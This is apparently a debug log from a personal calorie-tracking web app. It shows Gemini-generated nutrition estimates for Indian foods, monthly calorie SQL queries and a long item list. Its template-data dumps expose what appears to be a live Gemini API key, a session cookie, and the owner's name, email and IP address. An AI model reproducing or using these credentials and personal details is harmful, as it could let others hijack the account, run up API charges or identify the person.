    id: 375,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Banana',
    calories: 89,
    protein_gm: 1,
    carbs_gm: 23,
    fat_gm: 0,
    quantity: '1 medium (approx 100g edible portion)',
    replacements: 'Berries (e.g., strawberries, blueberries),Apple,Guava',
    created_at: '2025-12-13T01:33:03.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of quick carbohydrates for energy, especially beneficial for pre or post-workout recovery. Provides potassium crucial for muscle function and electrolyte balance. A good choice for muscle development.'
  },
  {
    id: 376,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Papaya',
    calories: 77,
    protein_gm: 1,
    carbs_gm: 20,
    fat_gm: 1,
    quantity: '3 slices (approx 180g, assuming 60g per slice)',
    replacements: 'Cucumber,Watermelon,Cantaloupe',
    created_at: '2025-12-13T01:33:03.000Z',
    skip_level: 1,
    skip_reason: 'Low in calories and rich in vitamins (C and A) and antioxidants. Contains papain, an enzyme that aids digestion, which can be beneficial. Good for hydration and general health support for an active lifestyle.'
  },
  {
    id: 377,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 138,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 2,
    quantity: '1 scoop (approx 32g)',
    replacements: 'Lean chicken breast (e.g., grilled),Egg whites,Low-fat cottage cheese,Tofu (firm)',
    created_at: '2025-12-13T01:56:27.000Z',
    skip_level: 1,
    skip_reason: "Excellent for muscle repair and growth. It's a fast-digesting, high-quality protein source, crucial for post-workout recovery and meeting protein targets for muscle development, especially with frequent gym sessions."
  },
  {
    id: 378,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Papaya',
    calories: 65,
    protein_gm: 1,
    carbs_gm: 16,
    fat_gm: 1,
    quantity: '3 slices (approx 150g)',
    replacements: 'Berries (strawberries, blueberries),Watermelon,Cucumber',
    created_at: '2025-12-13T05:45:37.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of Vitamin C, fiber, and antioxidants. Natural sugars provide energy for your active lifestyle, supporting recovery and overall health. Very beneficial for muscle development goals.'
  },
  {
    id: 379,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 37,
    protein_gm: 2,
    carbs_gm: 3,
    fat_gm: 2,
    quantity: '1 cup (approx 60ml whole milk, negligible tea calories)',
    replacements: 'Black coffee,Green tea,Herbal tea,Tea with skim milk,Tea with unsweetened almond/soy milk',
    created_at: '2025-12-13T05:45:37.000Z',
    skip_level: 2,
    skip_reason: "Contains whole milk which adds saturated fat and calories. While not 'bad' in moderation, for muscle development with a desk job, opting for skim milk or a plant-based alternative would reduce fat intake while still providing some protein and reducing overall calorie density, especially if consumed regularly. Consider reducing frequency or switching milk type."
  }
]
2025-12-13T12:04:57.600Z server-connect:app Executing action step setvalue
2025-12-13T12:04:57.600Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-13T12:04:57.600Z server-connect:output var_total: 711
2025-12-13T12:04:57.600Z server-connect:app Executing action step setvalue
2025-12-13T12:04:57.600Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-13T12:04:57.601Z server-connect:output var_consumed: 30
2025-12-13T12:04:57.601Z server-connect:app Executing action step setvalue
2025-12-13T12:04:57.601Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-13T12:04:57.601Z server-connect:output var_deficit: 1689
2025-12-13T12:04:57.601Z server-connect:app Executing action step custom
2025-12-13T12:04:57.601Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-13T12:04:57.604Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '711',
    surplus_or_deficit: '1689',
    status_flag: 2
  }
]
2025-12-13T12:05:03.265Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-13T12:05:03.266Z server-connect:app Executing action step identify
2025-12-13T12:05:03.266Z server-connect:app options: { provider: 'security' }
2025-12-13T12:05:03.266Z server-connect:output identity: 1
2025-12-13T12:05:03.266Z server-connect:app Executing action step restrict
2025-12-13T12:05:03.266Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T12:05:03.271Z server-connect:output restrict: undefined
2025-12-13T12:05:03.271Z server-connect:app Executing action step processWithGemini
2025-12-13T12:05:03.271Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-13T12:05:13.162Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Vada Pav',
      quantity: '1 serving (approx 150-180g)',
      total_calories: 372,
      protein: 8,
      carbs: 40,
      fat: 20,
      unit: 'g',
      lower_calorie_alternatives: [Array],
      skip_level: 2,
      skip_reason: "Vada Pav is high in refined carbohydrates from the white bread (pav) and potato, and high in unhealthy fats due to deep-frying the vada. While it provides quick energy, it's low in protein and fiber, which are crucial for muscle development and satiety. For your goal of muscle development and active lifestyle, it's best to consume this occasionally as a treat rather than a regular meal to avoid excess empty calories and unhealthy fats that can hinder progress."
    }
  ],
  total_macros: {
    total_calories: 372,
    total_protein: 8,
    total_carbs: 40,
    total_fat: 20,
    unit: 'g'
  }
}
2025-12-13T12:05:48.600Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-13T12:05:48.601Z server-connect:app Executing action step identify
2025-12-13T12:05:48.601Z server-connect:app options: { provider: 'security' }
2025-12-13T12:05:48.601Z server-connect:output identity: 1
2025-12-13T12:05:48.601Z server-connect:app Executing action step restrict
2025-12-13T12:05:48.601Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T12:05:48.602Z server-connect:output restrict: undefined
2025-12-13T12:05:48.603Z server-connect:app Executing action step processWithGemini
2025-12-13T12:05:48.603Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-13T12:05:59.470Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Momos',
      quantity: '10 pieces (approx 250g, assuming 25g/piece)',
      total_calories: 500,
      protein: 30,
      carbs: 60,
      fat: 15,
      lower_calorie_alternatives: [Array],
      skip_level: 2,
      skip_reason: "While chicken momos can provide protein beneficial for muscle development, 10 pieces are high in refined carbohydrates from the maida (all-purpose flour) wrapper. This can lead to rapid blood sugar spikes and isn't optimal for sustained energy or lean muscle gain compared to complex carbohydrates. It's also calorie-dense for a single meal or snack, and could easily exceed daily calorie targets if not carefully managed, especially with a desk job. Occasional consumption might be acceptable, but regular intake is not recommended for your goals."
    }
  ],
  total_summary: {
    total_calories: 500,
    total_protein: 30,
    total_carbs: 60,
    total_fat: 15,
    units: { calories: 'kcal', protein: 'g', carbs: 'g', fat: 'g' }
  }
}
2025-12-13T12:09:42.274Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-13T12:09:42.275Z server-connect:app Executing action step identify
2025-12-13T12:09:42.275Z server-connect:app options: { provider: 'security' }
2025-12-13T12:09:42.275Z server-connect:output identity: 1
2025-12-13T12:09:42.275Z server-connect:app Executing action step restrict
2025-12-13T12:09:42.275Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T12:09:42.276Z server-connect:output restrict: undefined
2025-12-13T12:09:42.276Z server-connect:app Executing action step processWithGemini
2025-12-13T12:09:42.276Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-13T12:09:51.455Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Masala Dosa',
      quantity: '1 medium dosa (approx 250g)',
      calories_consumed: 400,
      total_calories: 400,
      protein: 12,
      carbs: 60,
      fat: 12,
      unit_of_macro: 'g',
      lower_calorie_alternatives: [Array],
      skip_level: 2,
      skip_reason: 'Can be high in refined carbohydrates (rice) and fats (oil/ghee for cooking and in potato filling). While it provides energy for gym, regular consumption of large portions might not be ideal for lean muscle development if overall calorie and macronutrient goals are not strictly managed. Potato filling adds starchy carbs.'
    },
    {
      food_name: 'Dal',
      quantity: '1 small bowl (approx 150g)',
      calories_consumed: 180,
      total_calories: 180,
      protein: 10,
      carbs: 25,
      fat: 5,
      unit_of_macro: 'g',
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Excellent source of plant-based protein, complex carbohydrates, and fiber, all crucial for muscle development and sustained energy. Generally very healthy. Ensure preparation uses minimal oil/ghee to keep fat content optimal.'
    }
  ],
  total_summary: {
    total_calories: 580,
    total_protein: 22,
    total_carbs: 85,
    total_fat: 17,
    unit_of_macro: 'g'
  }
}
2025-12-13T12:12:19.492Z server-connect:router Serving templateView /
2025-12-13T12:12:19.492Z server-connect:app Executing action step identify
2025-12-13T12:12:19.493Z server-connect:app options: { provider: 'security' }
2025-12-13T12:12:19.493Z server-connect:output identity: 1
2025-12-13T12:12:19.493Z server-connect:app Executing action step restrict
2025-12-13T12:12:19.493Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-13T12:12:19.494Z server-connect:output restrict: undefined
2025-12-13T12:12:19.494Z server-connect:app Executing action step restrict
2025-12-13T12:12:19.494Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-13T12:12:19.495Z server-connect:output restrict: undefined
2025-12-13T12:12:19.495Z server-connect:router Render template layouts/main
2025-12-13T12:12:19.495Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fd6d-dk4f1fHWsTzJ3kz6UQS8GuV3HG0"',
    priority: 'u=0, i',
    cookie: 'your_r_git.sid=s%3A-37Jix6p-_jpGFOHZ-xfhIvYTs_FoWDW.2jqoRNH%2Fhh7G0IrrhwCvg6eWXsWbRvrTj%2Fupw%2BYE6OQ',
    'x-forwarded-for': '157.48.248.188',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-13T13:43:11.717Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '157.48.248.188',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fd6d-dk4f1fHWsTzJ3kz6UQS8GuV3HG0"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'your_r_git.sid=s%3A-37Jix6p-_jpGFOHZ-xfhIvYTs_FoWDW.2jqoRNH%2Fhh7G0IrrhwCvg6eWXsWbRvrTj%2Fupw%2BYE6OQ',
    'HTTP_X_FORWARDED-FOR': '157.48.248.188',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-13T12:12:20.211Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-13T12:12:20.211Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-13T12:12:20.211Z server-connect:app Executing action step identify
2025-12-13T12:12:20.211Z server-connect:app options: { provider: 'security' }
2025-12-13T12:12:20.211Z server-connect:output identity: 1
2025-12-13T12:12:20.211Z server-connect:app Executing action step restrict
2025-12-13T12:12:20.211Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T12:12:20.212Z server-connect:app Executing action step identify
2025-12-13T12:12:20.212Z server-connect:app options: { provider: 'security' }
2025-12-13T12:12:20.212Z server-connect:output identity: 1
2025-12-13T12:12:20.212Z server-connect:app Executing action step restrict
2025-12-13T12:12:20.212Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T12:12:20.212Z server-connect:output restrict: undefined
2025-12-13T12:12:20.212Z server-connect:app Executing action step single
2025-12-13T12:12:20.212Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-13T12:12:20.214Z server-connect:output restrict: undefined
2025-12-13T12:12:20.214Z server-connect:app Executing action step select
2025-12-13T12:12:20.214Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-13T12:12:20.214Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-13T12:12:20.220Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-13T12:12:23.050Z server-connect:router Serving templateView /calorie-tracker
2025-12-13T12:12:23.051Z server-connect:app Executing action step identify
2025-12-13T12:12:23.051Z server-connect:app options: { provider: 'security' }
2025-12-13T12:12:23.051Z server-connect:output identity: 1
2025-12-13T12:12:23.051Z server-connect:app Executing action step restrict
2025-12-13T12:12:23.051Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-13T12:12:23.051Z server-connect:output restrict: undefined
2025-12-13T12:12:23.052Z server-connect:router Render template calorie-tracker
2025-12-13T12:12:23.052Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
